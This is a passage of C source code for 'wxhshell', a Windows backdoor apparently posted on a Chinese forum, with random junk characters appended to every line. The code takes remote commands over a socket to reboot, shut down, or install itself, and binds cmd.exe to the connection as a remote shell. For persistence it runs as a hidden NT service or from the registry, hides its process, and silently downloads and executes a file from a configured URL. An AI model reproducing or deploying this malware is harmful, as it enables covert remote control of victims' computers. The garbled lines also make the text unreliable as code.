  N3Ub|$}q  
  // 帮助 o'@VDGS`  
  case '?': { v V:eU-a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jE.U~D)2YF  
    break; mT;1KE{J{  
  } T_:"~ ]  
  // 安装 w{3 B  
  case 'i': { [k(oQykq  
    if(Install()) c *(]pM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=&~3k  
    else Dh0`t@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); az~4sx$+}  
    break; XM$r,}B k  
    } a DuO!?Cm  
  // 卸载 UUy|/z%  
  case 'r': { }3cOZd_,t  
    if(Uninstall()) zp>q$e40  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8b)Xx@5  
    else pC0l}hnUg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0jO]+BI1  
    break; >h/J{T(P>h  
    } !L"3Otd  
  // 显示 wxhshell 所在路径 \w{x- }  
  case 'p': { ~HsPYc8Fz  
    char svExeFile[MAX_PATH]; .,[zI@9  
    strcpy(svExeFile,"\n\r"); ;w@PnY  
      strcat(svExeFile,ExeFile); A/Kw"l>  
        send(wsh,svExeFile,strlen(svExeFile),0); l9XK;0R9  
    break; 3!^5a %u  
    } ?fDF Rms  
  // 重启 a?CV;9   
  case 'b': { 2xH9O{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LbDhPG`u  
    if(Boot(REBOOT)) @a) x^d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pPm[<^\#S  
    else { E_]L8UC;m  
    closesocket(wsh); /w{DyHT  
    ExitThread(0); L)JpMf0  
    } .w^M?}dx  
    break; /u{ 9UR[g  
    } ymSGB`CP  
  // 关机 A.m#wY8  
  case 'd': { .4A4\-Cqe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ub%+8 M  
    if(Boot(SHUTDOWN)) >I Aw Nr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1EYXe  
    else { S P)$K=  
    closesocket(wsh); =1fO"|L  
    ExitThread(0); S/& _  
    } 0f/=C9L  
    break; ,/{mRw%  
    } "0Uh(9Fv  
  // 获取shell sY!PXD0Q  
  case 's': { )Ac+5bs  
    CmdShell(wsh); vr2tIKvpn  
    closesocket(wsh); D+d\<":  
    ExitThread(0); +Ck F#H ~  
    break; Qfr%BQV  
  } hN$6Kx>{  
  // 退出 Mh>H5l.1i  
  case 'x': { ufm`h)N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .P.TqT@)r  
    CloseIt(wsh); _|rrl  
    break; ]kx)/n-K  
    } u&1n~t`  
  // 离开 )e|Cd} 2  
  case 'q': { :\x53-&hO4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;LNFPo   
    closesocket(wsh); Ath^UKO"  
    WSACleanup(); aPaGnP:^  
    exit(1); qlmz@kTb  
    break; iD#HB o  
        } J6/Mm7R  
  } RRig  
  } @$z/=gsy  
v;AMx-_WH  
  // 提示信息 S',i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {X<mr~  
} 7F.t>$'  
  } U8kH'OD  
/Za'L#=R  
  return; 5fPYtVm  
} t=J\zyX!  
2KMLpO&De  
// shell模块句柄 |5S/h{gq  
int CmdShell(SOCKET sock) =XsdR?C  
{ m{Jo'*%8f  
STARTUPINFO si; y^_ 'g2H  
ZeroMemory(&si,sizeof(si)); ,$@nbS{Q]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H[?~u+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ja*k\w{U'  
PROCESS_INFORMATION ProcessInfo; _;",7bT80  
char cmdline[]="cmd";  `W< 7.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &-W5 T?Sl  
  return 0; 2f ]CnD0$  
} w~@.&  
3/mVdU?U  
// 自身启动模式 QPjmIO  
int StartFromService(void) 4 F~e3  
{ ]YYjXg}%  
typedef struct (-Rh%ZHH  
{ :D6"h[7  
  DWORD ExitStatus; xiuAW  
  DWORD PebBaseAddress; aG;6^$H~  
  DWORD AffinityMask; |xy r6gY  
  DWORD BasePriority; U;o[>{L   
  ULONG UniqueProcessId; pZp|F  
  ULONG InheritedFromUniqueProcessId; qW[p .jN  
}   PROCESS_BASIC_INFORMATION; 3>qUYxG8  
cGiS[-g  
PROCNTQSIP NtQueryInformationProcess; Vc|r(lM  
\)859x&(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h"/FqO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mcAg,~"HB  
w V&{w7  
  HANDLE             hProcess; =SPuOy8  
  PROCESS_BASIC_INFORMATION pbi; w_|R.T\7  
2P`QS@v0a=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =\.Oc+p4  
  if(NULL == hInst ) return 0; 'jWd7w~(  
c0jdZ#H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [b-27\b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); peqoLeJI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e_s9E{(  
*f|9A/*B3  
  if (!NtQueryInformationProcess) return 0; T">-%-t  
fI(u-z~,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +N1oOcPC>C  
  if(!hProcess) return 0; ?F'gh4  
=ZM#_uW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8$a4[s  
bUbM}  
  CloseHandle(hProcess); MVHj?  
&RP!9{F<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <y1V2Np  
if(hProcess==NULL) return 0; LcCb[r  
9'F-D  
HMODULE hMod; (yQ]n91Q,  
char procName[255]; 7qSlqA<Hs  
unsigned long cbNeeded; Dt?O_Bdv[  
2xRb$QF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Okm&b g  
QA7SQ cd,  
  CloseHandle(hProcess); eA9U|&o  
_KiaeVE  
if(strstr(procName,"services")) return 1; // 以服务启动 P lJl#-BO  
fo~8W`H&  
  return 0; // 注册表启动 Q# xeu  
} 'SF+P)Kmz  
|eL&hwqzG  
// 主模块 FSv')`}  
int StartWxhshell(LPSTR lpCmdLine) a6=mE?JTB  
{ yZ3/Ia>,  
  SOCKET wsl; /=Bz[ O  
BOOL val=TRUE; <y5V],-U  
  int port=0; mMmzi4HL  
  struct sockaddr_in door; iJ_`ZM.w  
(;YO]U4  
  if(wscfg.ws_autoins) Install(); ' 8`{u[:  
I$0JAy  
port=atoi(lpCmdLine); 7 y}b (q=  
k+S+ : 5  
if(port<=0) port=wscfg.ws_port; -a(f-  
`EVTlq@<  
  WSADATA data; *9)7.} uY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'Y3>+7bI  
_.0c~\VA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aVvi_cau  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p'1n'|$e  
  door.sin_family = AF_INET; Ib.`2@ o&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Im%|9g;P  
  door.sin_port = htons(port); Zzr+p.  
n m(yFX?=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f" Yj'`6  
closesocket(wsl); jfF,:(P%W  
return 1; =BJ/ZM  
} )k0e}  
t]{qizfOB  
  if(listen(wsl,2) == INVALID_SOCKET) {  =Run  
closesocket(wsl); zMb7a_W  
return 1; nW+rJ  
} :7%JD.;W  
  Wxhshell(wsl); K v"e\ E  
  WSACleanup(); awuUaE  
Z y@35;r  
return 0; vfzGRr  
Ga~N7  
} _H^Ij  
6~GaFmW=  
// 以NT服务方式启动 vFY/o,b \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ERQ a,h/  
{ $+Ke$fq.>  
DWORD   status = 0; E (tdL,m'  
  DWORD   specificError = 0xfffffff; `*PVFm>  
6u/3"A]'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g.aNITjP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EAo7(d@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VHVU*6_w  
  serviceStatus.dwWin32ExitCode     = 0; <K:?<F  
  serviceStatus.dwServiceSpecificExitCode = 0; XP5q4BM  
  serviceStatus.dwCheckPoint       = 0; =:`1!W0I  
  serviceStatus.dwWaitHint       = 0; ,S;?3?a  
'dM &~L SQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >bxT_qEm  
  if (hServiceStatusHandle==0) return; D.)$\Caq  
k6rX/ocu  
status = GetLastError(); mH*42XC*  
  if (status!=NO_ERROR) b,5H|$nLu  
{ #{7=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q]:+0~cz  
    serviceStatus.dwCheckPoint       = 0; n"Ec%n  
    serviceStatus.dwWaitHint       = 0; l)D18  
    serviceStatus.dwWin32ExitCode     = status; [,Ts;Hy6Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; < 'op  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %*OKhrM  
    return; E*IkI))X0  
  } m JewUc!<5  
V S2p"0$3D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,HS\(Z  
  serviceStatus.dwCheckPoint       = 0; 1YR;dn  
  serviceStatus.dwWaitHint       = 0; '[JrP<~^o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "[@-p  
} 7;Km J}$  
|Z6rP-  
// 处理NT服务事件,比如:启动、停止 isHa4 D0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oju/%ieh  
{ VY<v?Of i-  
switch(fdwControl) Q@%VJPLv.  
{ AQ. Y-'\t  
case SERVICE_CONTROL_STOP: `d6 {Tli  
  serviceStatus.dwWin32ExitCode = 0; NI=t)[\F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <Sm -Z,|  
  serviceStatus.dwCheckPoint   = 0; s2g}IZfo  
  serviceStatus.dwWaitHint     = 0; "m})~va  
  { y% uUA]c*m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Qd6a:-6  
  } X;sl?8HG!<  
  return; `Q1T-H_  
case SERVICE_CONTROL_PAUSE: #!h:w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^R1 nOo/  
  break; T2Cdw\  
case SERVICE_CONTROL_CONTINUE: +OK.[ji?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R|{AIa{}  
  break; 8kAG EiC  
case SERVICE_CONTROL_INTERROGATE: h3a HCr E  
  break; 9?gLi!rd  
}; 8gJ"7,}-'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /MsXw/],  
} TWl':}  
kP%'{   
// 标准应用程序主函数 2|tZ xlt-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UBpYR> <\  
{ Rg<y8~|'}  
- ,q&Zm  
// 获取操作系统版本 e+bpbyV_#  
OsIsNt=GetOsVer(); dTyTj|"x{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Au4q<   
;M8N%  
  // 从命令行安装 ]jG%<j9A  
  if(strpbrk(lpCmdLine,"iI")) Install(); W5$jIQ}Bw  
Z4}Yw{=f  
  // 下载执行文件 Y[$[0  
if(wscfg.ws_downexe) { FOB9CsMe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1>b kVA  
  WinExec(wscfg.ws_filenam,SW_HIDE); W>dS@;E  
} )8ctNpQt  
b'Z#RIb  
if(!OsIsNt) { go6Hb>  
// 如果时win9x,隐藏进程并且设置为注册表启动 y&lj+j  
HideProc(); P\iw[m7O  
StartWxhshell(lpCmdLine); P^v`5v  
} ;W?e@ Lgxk  
else 2{"Wa|o`  
  if(StartFromService()) h(d<':|  
  // 以服务方式启动 zdyS"H}  
  StartServiceCtrlDispatcher(DispatchTable); 6h}f^eJ:K,  
else ^qiTO`lg  
  // 普通方式启动 LB? evewu  
  StartWxhshell(lpCmdLine); T'\ lntN  
(o{QSk\  
return 0; vb9G_Pfz  
}
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只看该作者 1 发表于: 2006-10-10
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